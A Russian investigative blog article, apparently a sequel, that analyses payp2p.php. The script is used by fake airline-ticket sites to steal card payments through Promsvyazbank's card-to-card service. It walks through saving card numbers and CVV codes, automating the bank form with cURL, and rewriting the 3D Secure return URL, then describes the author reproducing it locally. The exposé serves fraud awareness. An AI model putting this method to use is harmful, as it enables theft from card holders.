Около месяца назад я опубликовал на Geektimes статью «Дешевые авиабилеты… Или сеть мошеннических сайтов, ворующих деньги с карт. Мое расследование.» Публикация получила большой отклик и неожиданное продолжение…

Напомню для тех, кто первую часть не читал. В публикации на основе реальных случаев были описаны схемы, с помощью которых мошенники воруют деньги с карт покупателей авиабилетов, которые имели неосторожность попасть на поддельный сайт по продаже билетов. Количество таких мошеннических сайтов по продаже авиабилетов в рунете исчисляется десятками и сотнями (с учетом закрытых). На таких сайтах пользователю сначала показывается реальная информация об авиарейсах, предлагается оформить заказ и оплатить его банковской картой. Всё выглядит красиво, пока покупатели авиабилетов не обнаруживают, что остались и без денег, и без билетов.

Во всех обнаруженных случаях для кражи денег такие сайты используют сервисы банков для перевода денег с карты на карту (P2P). В первой части был подробно разобран механизм того, как страница Банка Тинькова для оплаты с карты на карту маскируется и встраивается на мошеннические сайты, так, чтобы «покупатель» ничего не заметил. Также упоминался Промсвязьбанк, — именно через него были украдены деньги с карты потерпевшего в истории, которая была описана. И если с банком ТКС вопросов не осталось, то в случае с Промсвязьбанком было непонятно, как именно выводятся деньги. Основной скрипт, служащий для воровства денег, выполнялся на стороне сервера и без исходных кодов можно было только стоить предположения, что именно он делает.

И вот один из пользователей Geektimes связался со мной и прислал тот самый скрипт payp2p.php, который использовался в последнее время на большой части мошеннических сайтов по продаже авиабилетов. Скрипт этот использует сервис Промсвязьбанка для перевода с карты на карту. И на мой взгляд, Промсвязьбанк, предоставляя свой сервис, который было легко обмануть, способствовал росту количества интернет-мошенников.

Вероятно, есть и другие похожие банки, но в этой публикации в основном речь пойдет про Промсвязьбанк.

Прежде чем начнем разбор самого скрипта давайте посмотрим, как выглядела страница оплаты мошеннического сайта и как выглядит страница перевода с карты на карту Промсвязьбанка.

Так выглядела страница оплаты на мошеннических сайтах
При анализе HTML кода этой страницы оплаты я не обнаружил, никаких частей страниц каких-либо банков, не используются встраиваемые окна iframe, вообще не используются скрипты, а сама страница очень простая и не похожа на страницу Промсвязьбанка. Данные введенные в форму проверяются не скриптами, а встроенными в браузеры механизмами, — с помощью атрибутов «pattern» и «required» для полей ввода input и для раскрывающихся списков select. Т.е. даже страница, сохраненная в браузере на локальный диск, потом остается «работоспособной» и может использоваться для тестирования того, как перехватываются данные карты. Подобная сохраненная ранее страница и была использована в рамках этой публикации для того, чтобы понять как работает скрипт.

По сути это страница представляет собой только форму для ввода номера карты. При подтверждении формы обработка передается программе payp2p.php.

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

Программа payp2p.php может делать что угодно. Код ее нам ранее был недоступен, поскольку он выполняется на стороне сервера. Но как я уже писал, теперь у нас появился код, и мы узнаем всё.

Теперь посмотрим, как выглядит страница оплаты с карты на карту на сайте Промсвязьбанка.

https://www.psbank.ru/Personal/eCommerce/Card2Card


Как видно, страница Промсвязьбанка совсем не похожа на страницу оплаты, представленную ранее. Даже количество полей ввода номера карты не совпадает.

Посмотрим HTML код страницы Промсвязьбанка, чтобы разобраться, как она устроена. Все что нам нужно знать находится в этих нескольких строчках:

<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no">
</iframe>

Этот кусок означает, что реальная страница оплаты расположена на другом домене, а то, что мы видим на сайте Промсвязьбанка отображается в «окне» с помощью технологии iframe.

Интересно, а кому принадлежит домен 3ds.payment.ru?
Проверяем по базе Whois.

Домен 3ds.payment.ru
IP 193.200.10.116
Название провайдера: PRSBM-NET
Провайдер:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT

Cкриншот с соседнего домена online.payment.ru



Домен 3ds.payment.ru тоже принадлежит Промсвязьбанку. Этот домен мы запомним, он нам еще встретится в описании и не раз.

Посмотрим, что из себя представляет страница, которую встраивает на своем сайте Промсвязьбанк, и, возможно, какие-то другие сайты.

https://3ds.payment.ru/P2P/card_form.html


Это реальная страница, которая используется для переводов с карты на карту. Как видим, эта страница без полей. Это сделано специально, чтобы ее было удобнее выстраивать в другие сайты.

В HTML коде этой страницы нам интересна вот эта часть:



Это скрытые поля ввода, для хранения служебной информации. Мы эту страницу тоже запомним. А где она используется, будет рассказано позже.

Вводная часть закончена, давайте перейдем к самому интересному и разберемся, как работает или как работал скрипт payp2p.php.

Скрипт простой и для его понимания не требуется каких-то глубинных знаний языка программирования PHP. Для удобства разбора я разбил его на части. Слева указываются номера строк, на которые можно ссылаться. Скрипт приводится полностью без изменений в том виде, в котором был получен. После каждого куска кода будет представлена расшифровка и пример значений переменных во время исполнения программы (т.е. что-то похожее на отладку). В некоторых местах возможно избыточное комментирование, — это сделано для того, чтобы читатели, не связанные с программированием, тоже могли понять смысл программного кода.

Для тестирования нам понадобится форма, в которую нужно будет ввести данные карты, с которой предполагается оплата. Воспользуемся сохраненной ранее формой. Как выглядела форма на мошенническом сайте показано в картинке в начале статьи. Про форму будет еще дополнительно написано ниже. Для тестирования введем номер карты 1111.2222.3333.4444.

Начнем.



Строка 3 — никакие команды не выполняет.
Строка 4 — Подгружается отдельный файл dbconfig.php в котором хранятся параметры для подключения к базе данных MySQL. Скриншот кода dbconfig.php и его разбор есть ниже.
Строка 6 — подключаемся к серверу MySQL, в базе которого потом будем хранить данные об украденных картах и о проведенных денежных переводах. В этой строке одновременно происходит подключение к серверу MySQL и выход из программы, если подключение по какой-то причине не удалось.
Строка 11 — выбираем кодировку для работы с базой MуSQL.
Строка 13 — К серверу MySQL мы подключились ранее, теперь выбираем базу данных, с которой будем работать.

Скрипт payp2p.php начинает свою работу после того, как обманутый пользователь на странице похожей на обычную страницу онлайн-оплаты заполняет форму. По нажатию на форме кнопки «Оплатить», скрипт payp2p.php получает данные введенные в форме. Данные из формы в скрипт передаются методом POST.

Строка 16 — в переменную $num сохраняется номер кредитной карты, введенный в форме на предыдущей странице.
Строка 17 — в переменную $date сохраняется Месяц / Год срока действия карты.
Строка 18 — в переменную $cvv сохраняется CVV код карты.
Строка 19 — в переменную $code сохраняется некий сформированный ранее при оформлении «заказа на авиабилеты» код. Этот код используется для того, чтобы пользователь мог просмотреть свой заказ по специальной ссылке. Этот же код используется для идентификации заказа (на странице оплаты, чтобы автоматически выводить сумму для оплаты; при сохранении в «книгу продаж» которую ведут мошенники; также этот код передается в платежную форму, вероятно, как идентификатор перевода (об этом ниже).
Строки 21-22 Формируется строка — SQL запрос, который затем выполняется. SQL запрос добавляет в таблицу 'card' значения идентификатора заказа, суммы, срока действия карты, CVV кода карты, и точное текущее время. Пример записи в БД есть ниже.

Пример отладочной информации


Здесь и далее на похожих скриншотах вместо фразы «содержание переменной» было бы более правильно написать «значение переменной». Это я заметил поздно, когда скриншоты были уже готовы. Прошу не судить строго.

"aaea" = 'вбив' при конвертации кодировки ISO8859-1 =>Windows-1251
Зачем эта подпись, не знаю. Возможно опечатка.

Временно переключим свое внимание временно на файл dbconfig.php.



Здесь задаются параметры подключения к БД. Из того, что может быть интересно:

DBHOST — имя хоста, на котором запущен MySQL сервера (в данном примере база MySQL находится на том же сервере, на котором хранятся исполняемые файлы, но теоретически может быть на стороннем сервере)
DBNAME — Имя Базы Данных
DBUSER — Имя пользователя для подключения к Базе Данных MySQL
DBPASS — Пароль для подключения к Базе Данных MySQL
SECURE_AUTH_KEY — секретный ключ для подключения к чему-то без использования паролей. Для чего именно использовался этот ключ, из тех файлов, что были в наличии, непонятно. Код ключа на скриншоте изменен.



Строка 28 — подключается сторонний файл aviacfg.php. Это конфигурационный файл, в котором хранятся номера карт получателей и другие настройки.
Строка 29 — Из номеров карт, которые в конфигурационном файле разделяются символом переноса строки, создается массив.
Строка 30-31 — Переменной $crd случайным образом присваивается номер одной из карт.

Посмотрим, что у нас в файле aviacfg.php



Здесь мы видим, что переменная $aviacfg — это массив, который содержит значения discount (скидка), и cards (номера карт, на которые предполагается вывод средств). В этом примере только один номер карты, но их может быть любое количество. Само название файла (aviacfg.php) и переменной ($aviacfg) указывает, для какой области был заточен этот скрипт. Значение discount (скидка) определяет на какой процент цены на мошенническом сайте будут указываться дешевле, чем они на самом деле продаются на «честном» сайте по продаже авиабилетов. Владелец мошеннического сайта может быстро сделать отображаемую цену билетов дешевле. Чем ниже будет отображаемая цена, тем больше вероятность, что кто-то из потенциальных покупателей рискнет купить билеты на незнакомом сайте. Про скидку будет еще позже комментарий, как именно она реализована в коде.



Далее в Базу Данных MySQL сохраняется сумма перевода, номер карты, на которую осуществляется перевод, и код, который идентифицирует заказ на авиабилеты на мошенническом сайте. Пример записи в БД будет представлен ниже.

Пример отладочной информации




Строка 40 — переменной $p112 присваивается значение с номером карты, который был введен ранее в форме.
Строки 41-51 — Номер карты разбивается на части по четыре цифры.
Строки 53-57 — Проверяется длина номера карты. Если в номере карты число знаков отличается от 16 или 18, то происходит выход. Пять секунд отображается сообщение, затем происходит переадресация на другую страницу. В данном примере возврат будет на страницу с заказом на мошенническом сайте.
В строке 56 «Iaaa?iua aaiiua ea?ou» при конвертации кодировки ISO8859-1 =>Windows-1251 соответствует тексту: «Неверные данные карты».
Строки 58-61 — переменным $p4, $p5, $p6, $p11 присваиваются значения, введенные ранее в форме (срок действия карты, код CVV, сумма оплаты).
Строка 63 — В переменной $info сохраняются все данные карты и сумма перевода. При формировании используются переносы строк "\n" и разделители "###...". Эта переменная нигде не в дальнейшем не используется. При доработке скрипта, её можно использовать для сохранения записей в обычный текстовый файл или для вывода на экран при отладке.

Пример отладочной информации




Строки 66-75 — Это фактически дублирование блока строк 27-36. Еще раз выбирается случайным образом карта получателя из конфигурационного файла aviacfg.php, и все это сохраняется в таблицу базы данных card_balance. Таким образом в таблице card_balance при каждой попытке перевода будет создаваться по две записи. Если в aviacfg.php забита только одна карта получателя, при случайной выборке, естественно, всегда будет выбираться одна и та же карта. В этом случае в таблице card_balance записи будут просто дублироваться. Но в случае, если в aviacfg.php забиты несколько номеров карт, при случайной выборке результаты будут разные и в таблице card_balance будет одна запись, первая, неправильная, а вторая правильная.

Это ошибка, и покупатели скрипта (о них будет отдельный комментарий) могут обратиться к разработчику с просьбой компенсировать моральный ущерб, связанный с тем, что реальных переводов минимум в два раза меньше, чем записей в логе.

Пример отладочной информации


Пример записей в базе данных MySQL
Базы данных и ее структуры у меня не было. Поэтому пришлось создать новую базу данных и в ней две таблицы: «card» и «card_balance». Поскольку в коде скрипта данные вставляются в таблицу без обращения к полям таблицы по имени, для тестирования название полей и их тип были поставлены примерно подходящие по контексту.

То, что в примере много одинаковых записей в каждой таблице, — результат многократного тестирования. В обычной ситуации записи будут разные.

Таблица «card».



Таблица «card_balance».


Обратите внимание, в первом случае в таблицу базы данных MySQL сохраняются данные только о картах отправителей без суммы, но с указанием точного времени, а во втором случае сохраняются данные о проведенных переводах (точнее о попытках переводов). Сохраняются номер карты получателя и сумма, данные отправителя во второй таблице не сохраняются. В обоих случаях дополнительно сохраняется «идентификатор заказа».

Первую часть скрипта, которая была описана выше, можно условно назвать «запись в книгу продаж для бухгалтерии». К самому переводу денег она отношения не имеет. Для перевода денег можно обойтись без сохранения данных в базу данных. Тем не менее мы видим, что данные карт сохраняются, а значит они в дальнейшем могут дополнительно использоваться для кражи денег с карт «в ручном режиме». Данные карт могут быть проданы или использованы, например, для оплаты рекламы в Яндекс.Директе, как было показано в предыдущей статье.

Вторая часть скрипта, относится к переводу денег через сайт Промсвязьбанка 3ds.payment.ru.



В строке 78 в комментарии указывается, что, предполагается, что страница подтверждения успешной оплаты имеет адрес типа "/sus.php?cd=BX3FKT". На такой адрес в случае успеха должен быть возвращен пользователь.

Строка 80-91 Для того, чтобы провести перевод нужно сначала зайти на служебную страницу.

https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p.


На этой странице выдается примерно вот такая строка:

{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}

«ORDER_NUM» — это ~«Номер заказа», «TIMESTAMP» — это метка текущего времени. Если страницу обновить, то всегда выдаются новые данные.

Для того, чтобы прочитать какую-то веб-страницу или отправить данные на веб-страницу используется команда curl. Curl (cURL) позволяет программно подключаться к веб-серверам по различным протоколам, в том числе и по http и https. В нашем случае curl это программный веб-браузер, который может сохранять веб-страницы в переменные. Сохраненная в переменной страница представляет собой очень длинную строку с исходным HTML кодом этой страницы. С такими строковыми переменной можно работать точно так же, как и с любыми строками — можно искать текст, заменять текст итп. Curl в описываемых скриптах будет использоваться несколько раз.

Строка 80 — В переменной $login_url сохраняется URL адрес.
Строка 81 — В переменной $agent сохраняется URL адрес.
Строка 82 — Инициализирует сеанс cURL.
Строка 83-90 — Устанавливаются параметры для сеанса сURL (адрес страницы, сохраненный ранее в $login_url; идентификатор браузера, сохраненный ранее в $agent; страница, с которой происходит переход или по-другому ссылающаяся страница REFERER; настройки COOKIE итп)
Строка 91 — В результате выполнения команды curl_exec программно будет получена веб-страница, которая будет сохранена в переменную $page.
Строки 93-95 В сохраненной веб-странице $page находится ~«номер заказа» ORDER_NUM, который сохраняется в переменной $ord.
Строки 96-98 В сохраненной веб-странице $page находится метка времени TIMESTAMP, которая сохраняется в переменной $tim.

Пример отладочной информации




Теперь «программным браузером» нужно зайти на страницу https://3ds.payment.ru/P2P_ACTION/card_form.html. Эта та самая страница оплаты, скриншот которой был показан выше. Это страница с формой, часть служебных полей которой скрыта. Часть HTML кода со скрытыми полями ввода была показана выше. Некоторые значения этих скрытых полей нужно запомнить, чтобы в дальнейшем их использовать при отправке формы.

Строка 99 — В переменную $url сохраняем адрес страницы.
Строка 100 — Устанавливаются параметры для сеанса сURL (в данном случае только адрес страницы. Остальные настройки остаются прежние).
Строки 101-102 Удаляются ранее использовавшиеся переменные $page и $part.
Строка 103 — В результате выполнения команды curl_exec программно будет получена веб-страница, которая будет сохранена в переменную $page.
Строки 104-106 В сохраненной веб-странице $page находится значение поля TERMINAL, которое сохраняется в переменной $term.
Строки 107-109 В сохраненной веб-странице $page находится значение поля TRTYPE, которое сохраняется в переменной $type.
Строки 110-112 В сохраненной веб-странице $page находится значение поля MERCHANT, которое сохраняется в переменной $merch.
Строки 113-115 В сохраненной веб-странице $page находится значение поля EMAIL, которое сохраняется в переменной $ml.

Вообще эти значения в указанной форме никогда не меняются. И их можно было бы сохранить в коде, как константы и не получать каждый раз. Вероятно, получение значений этих полей сделано для дополнительной подстраховки, на случай, если когда-то в будущем одно или несколько полей поменяются.

Описание некоторых полей. Полное описание всех полей легко найти в гугле.

TERMINAL — Уникальный номер виртуального терминала торговой точки
MERCH_NAME — Название Торговой точки
MERCHANT — Номер торговой точки, присвоенный банком
TRTYPE — Тип запрашиваемой операции (Оплата – 1, Отмена – 22, Предавторизация – 0, Завершение расчетов — 21)
EMAIL — E-mail адрес для отправки оповещений

Пример отладочной информации

На этом примере можно видеть, как сохраняются веб-страницы в строковых переменных. ($page)

EMAIL здесь, это эпичный случай. Кому интересно, дополнительные материалы про этот EMAIL в конце статьи в приложении под спойлером.



Здесь мы видим большой блок. То, что он выглядит большим объясняется ограниченной шириной колонки в публикации и удобным представлением кода автором скрипта. Все тоже самое можно было бы разместить в 10 строчках кода, но удобство чтения и правки кода при этом пострадали бы.

Строка 120 — В переменную $url сохраняем адрес страницы.
Строка 121-123 — Устанавливаются параметры для сеанса сURL.
Строка 124 — из номера карты получателя в строковой переменной $crd создаётся массив $ncrd, который будет содержать части номера карты, разбитые по четвёркам.
Строка 125 — в переменную-массив $headers сохраняются HTTP-заголовки.
Строка 126 — Устанавливаются параметры для сеанса сURL (HTTP-заголовки из переменной $headers.
Строки 135-164 — Создается массив $postL, каждое значение которого будет соответствовать полю формы на странице оплаты (номер карты отправителя, разбитый по четвёркам; срок действия карты отправителя; CVC карты отправителя; номер карты получателя, разбитый по четвёркам; срок действия карты получателя; CVC карты получателя; сумма оплаты; «номер заказа»; описание для страницы подтверждения; номер терминала; название торговой точки; email для уведомлений; метка времени; неразбитый на части номер карты отправителя; неразбитый на части номер карты получателя; данные о софте и железе «на компьютере отправителя», призванные создать видимость реального пользователя, а не скрипта).
Строки 135 — Устанавливаются параметры для сеанса сURL (данные, передаваемые в HTTP POST-запросе. При этом массив $postL преобразуется в строку, которая представляет собой url-закодированную строку, наподобие 'p1=val1&p2=val2&...'.

Более наглядно передаваемые данные показаны на скриншоте с отладочной информацией ниже.

Пример отладочной информации




Строка 166 — В результате выполнения команды curl_exec программно методом POST будут отправлены подготовленные данные в форму веб-страницы. Для веб-страницы такая отправка будет выглядеть точно так же, как, если бы обычный пользователь заполнил и подтвердил форму в обычном браузере. Страница с результатом отправки данных в форму будут сохранена в переменную $page.
Строка 167 — Завершается сеанс cURL.
Строка 168 — В полученной странице, которая хранится в переменной $page, и как мы помним, представляет из себя длинную строку, ищется подстрока «Error».
Строки 169-173 — Если подстрока «Error» найдена, то 5 секунд отображается сообщение об ошибке «Карта не подходит» и затем производится выход из скрипта с переадресацией отображаемой в браузере страницы на «страницу с заказом». Если пользователь проявит упорство, то он может еще раз попробовать пройти процедуру оплаты.

Отображаемая страница в случае любой ошибки.



Причины ошибок, которые выдает банк, могут быть разные (ошибка в номере карты, недостаточно средств, ошибка авторизации и много других). Но для скрипта payp2p.php разницы нет. Раз оплата не прошла, значит пользователя переадресовывают на страницу, с которой можно повторить попытку оплаты. Страница, на которую производится возврат при ошибке, может быть легко изменена в зависимости от поставленной задачи.

Пример HTML кода возвращаемой банком страницы, в случае ошибки
<!DOCTYPE html>

<head>
<base href="/">
<script src="/netcetera/netcetera.js"></script>
<script src="/riskminder-client.js"></script>
<script>
    function redirect(rctext, ext_diag_code){
	if (rctext == "Call your bank"){
		window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank";
	} else if (rctext == "Your card is restricted"){
		window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction";
	} else if (rctext == "Your card is disabled"){
		window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard";
	} else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount";
	} else if (rctext == "Re-enter transaction"){
		window.top.location = "http://www.psbank.ru/Card2Card/Retry";
	} else if (rctext == "Expired card"){
		window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard";
	} else if (rctext == "Not sufficient funds"){
		window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance";
	} else if (rctext == "Exceeds amount limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit";
	} else if (rctext == "Exceeds frequency limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit";
	} else if (rctext == "Error in card number field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber";
	} else if (rctext == "Error in card expiration date field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate";
	} else if (rctext == "Error in currency field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency";
	} else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword";
	} else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){
		window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure";
	} else {
		window.top.location = "http://www.psbank.ru/Card2Card/TechReasons";
	}
   }
</script>
</head>
<body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')">
</body>
</html>


Пример отладочной информации в случае, если банк при оплате сообщает об ошибке


Строка 174 — Если ранее выхода из скрипта из-за ошибки при оплате не произошло, это означает, что все идет, как задумано. В ранее сохраненной в переменной $page странице производится замена всех подстрок с адресом https://3ds.payment.ru/cgi-bin/cgi_link на строку с адресом типа mydomain.ru/sus.php?cd=… — это адрес страницы на мошенническом сайте, на которую пользователь должен попасть в случае успешной оплаты. (На такой странице пользователя можно будет поблагодарить и сообщить ему, что электронные билеты высланы на почту). После замены подстроки результат сохраняется в переменной $pp.

Строка 175 — Переменная $pp выводится на экран в браузере. Поскольку переменная $pp — это строка с полным HTML кодом страницы, пользователь увидит какую-то страницу. От исходной страницы, которую отдал банк, отображаемая страница внешне не будет отличаться, — отличие будет только внутри HTML кода в том месте, где была заменена ссылка.

Так что же это за страница, которую банк отдает в случае ввода корректного номера карты, и в которой скрипт подставляет ссылку на страницу успешной оплаты на мошенническом сайте? И ведь, вероятно, еще должна быть проверка 3D Secure от банков-отправителей, которая не позволит провести оплату? Код закончился на самом интересном месте и возникают сомнения, что без дополнительных хитрых скриптов, форм итп это может работать.

Мы дошли до заключительных строк скрипта. Кроме разбора сухих цифр и букв хотелось бы получить какой-то результат. Давайте это и попробуем сделать. Заодно и узнаем ответ на предыдущий вопрос.

В файл aviacfg.php вбиваю свой номер банковской карты. На нее буде пробовать принять перевод, если, конечно, получится. Открываю ранее сохраненную на диске страницу с формой. Форма эта была просто сохранена в браузере при посещении одного из мошеннических сайтов, который на момент написания первой части публикации, еще работал. Форма сохранилась уже с суммой 2915руб, а для тестирования это слишком много. Давайте это изменим. В любой форме есть видимые и скрытые поля. Скрытые поля (input, select) ничем не отличаются от обычных, за исключением того, что их не видно. Такие поля используются для того, чтобы хранить служебную информацию, которую пользователю видеть не нужно. Скрываются поля ввода двумя способами.

  • Через стили CSS (свойство display:none). Это свойство может относится, как к самому элементу (input), так и к контейнеру, (например DIV) в котором располагается элемент input.
  • Второй способ скрытия поля ввода — указать его тип, как type=«hidden». У обычного видимого поля тип type=«text».

В нашем случае поля формы скрыты с помощью type=«hidden».

Нажимаем в браузере F12 (режим веб-разработки). Находим нужное место в HTML коде и меняем текст type=«hidden» на type=«text» для двух или нескольких элементов input. Теперь мы видим поля, в которых хранится сумма и служебный код (code). Уменьшаем сумму с 2915руб до 20руб. Теперь в форму вводим данные своей второй банковской карты. С этой карты деньги должны списаться в случае, если получится провести перевод.



Подтверждаем форму, нажимая на кнопку «Оплатить». После нажатия кнопки запускается скрипта payp2p.php, который получает введенные в форму данные.

К своему удивлению после ввода реального номера карты и нажатия на тестовой форме кнопки «Оплатить», я увидел на экране страницу Сбербанка (банка из которого осуществляется перевод), с просьбой ввести код подтверждения 3D Secure.



Также на свой телефон я получил SMS от Сбербанка с кодом.



До начала тестирования с действующей банковской картой я предполагал, что для подтверждения кода 3D Secure его нужно будет каким-то образом «выманить» у пользователя, а затем программным путем скрыто передать в настоящую форму подтверждения 3D Secure. Однако, всё оказалось значительно проще. После того, как на сайт Промсвязьбанка отправляются данные для перевода с карты на карту, в браузере отображается форма банка-эмитента карты, с которой осуществляется перевод. В моем случае это Сбербанк. Эту форму даже подделывать не нужно. Форма подтверждения отображается на HTTPS сайте Сбербанка. Жертвы мошенников сами прямо в эту привычную для них форму вводят код подтверждения. После этого, если перевод пройдет, то деньги списываются. Хотя теоретически опротестовать такой перевод можно, далеко не факт, что деньги получится вернуть. На вероятность возврата денег влияют много факторов, в том числе, как быстро «потерпевший» обратится с заявлением в свой банк.

HTML код страницы, которую отдает Сбербанк для подтверждения 3D Secure под спойлером. Код получен при тестировании путем записи переменной $page в текстовый файл. Строка 166 скрипта payp2p.php.

HTML код страницы 3D Secure до замены строки
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

HTML код страницы после того, как в нем заменяется часть текста, под спойлером. Код получен при тестировании путем записи переменной $pp в текстовый файл. Строка 174 скрипта payp2p.php.

HTML код страницы 3D Secure после замены строки
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

Если коротко, то в HTML коде страницы 3D Secure (в этом примере от Сбербанка) строка:

<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">

Программным путем меняется на:

<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">

Заменяемая строка представляет собой адрес страницы, на которую банк-эмитент карты отправителя после проверки кода 3D Secure должен вернуть пользователя. До того, как скрипт заменил строку, в качестве адреса возврата был указан сайт Промсвязьбанка. После того, как скрипт заменил строку, в качестве адреса возврата уже указывается какая-то страница на мошенническом сайте.

Я до конца не понимаю, в какой именно момент производится подмена адреса возврата, но это работает. В тот момент, когда в браузере отображается https страница Сбербанка с просьбой ввести код 3D Secure, если в браузере посмотреть исходный HTML код страницы, там нет адреса возврата ни на какой сайт. HTML код этой страницы имеет длину более 400строк и полностью отличается от представленного выше HTML кода страницы ответа Сбербанка, который был захвачен путем записи переменных $page (строка 166) и $pp (строка 174) на диск.

Если вводить неправильный код 3D Secure, Сбербанк на своей странице выдает сообщение о том, что код неверный, и высылает еще одно SMS. Как только вводится правильный код, происходит переадресация на сайт оплаты или на подменный сайт. Т.е., вероятно, сама переадресация на сайт оплаты подразумевает, что со стороны Сбербанка все необходимые процедуры выполнены. Сбербанк здесь выступает в качестве примера для тестирования. Перевод может быть осуществлен и через другой банк.



Со стороны «покупателя билетов» выглядит это так. Покупатель на заранее подготовленной форме оплаты вводит номер своей карты. После этого почти сразу отображается страница подтверждения кода 3D Secure и приходит SMS с кодом подтверждения. Страница 3D Secure в браузере отображается на сайте банка эмитента карты покупателя по протоколу HTTPS. Страница с формой ввода номера карты может выглядеть подозрительно, но подтверждение 3D Secure на сайте своего банка не вызывает никаких сомнений или подозрений.

Кстати, обратите внимание на подпись «ticket pay» в строке «Описание» на странице 3D Secure от Сбербанка. Эта подпись задается в скрипте payp2p.php. В будущих примерах мы ее попробуем изменить.

Вернемся к тестированию.

Код из SMS я ввел на странице Сбербанка и после нажатия кнопки «Отправить», получил предупреждение о том, что данные будут отправлены по незащищенному соединению.



После того, как я подтвердил, что согласен с отправкой данных по незащищенному соединению произошла переадресация на страницу /sus.php?cd=…



Это страница возврата. Адрес возврата у нас задается в скрипте. В этом случае страница не найдена. Но причина понятна, — страница возврата заранее не была приготовлена.

Хоть цель была почти достигнута, реально деньги с карты на карту не прошли. Не было никаких дополнительных смс с информацией о том, что платеж отклонен итп.

Я решил, что причина неудачи в первой попытке заключалось в том, что локальный сайт (localhost), работал по незащищенному соединению http, а сайт Сбербанка по защищенному протоколу http. Http и https друг с другом не очень дружат. Это, кстати, объясняет, почему мошеннические сайты, описанные в первой части публикации, использовали защищенное соединение https, хоть и с самым простым сертификатом.

Для проверки этого предположения пришлось настроить на локальном сайте протокол https. Для этого был создан локальный домен p2p.localhost и самоподписанный сертификат. В результате новый адрес с тестовым скриптом стал выглядеть так:

https://p2p.localhost/payp2p.php

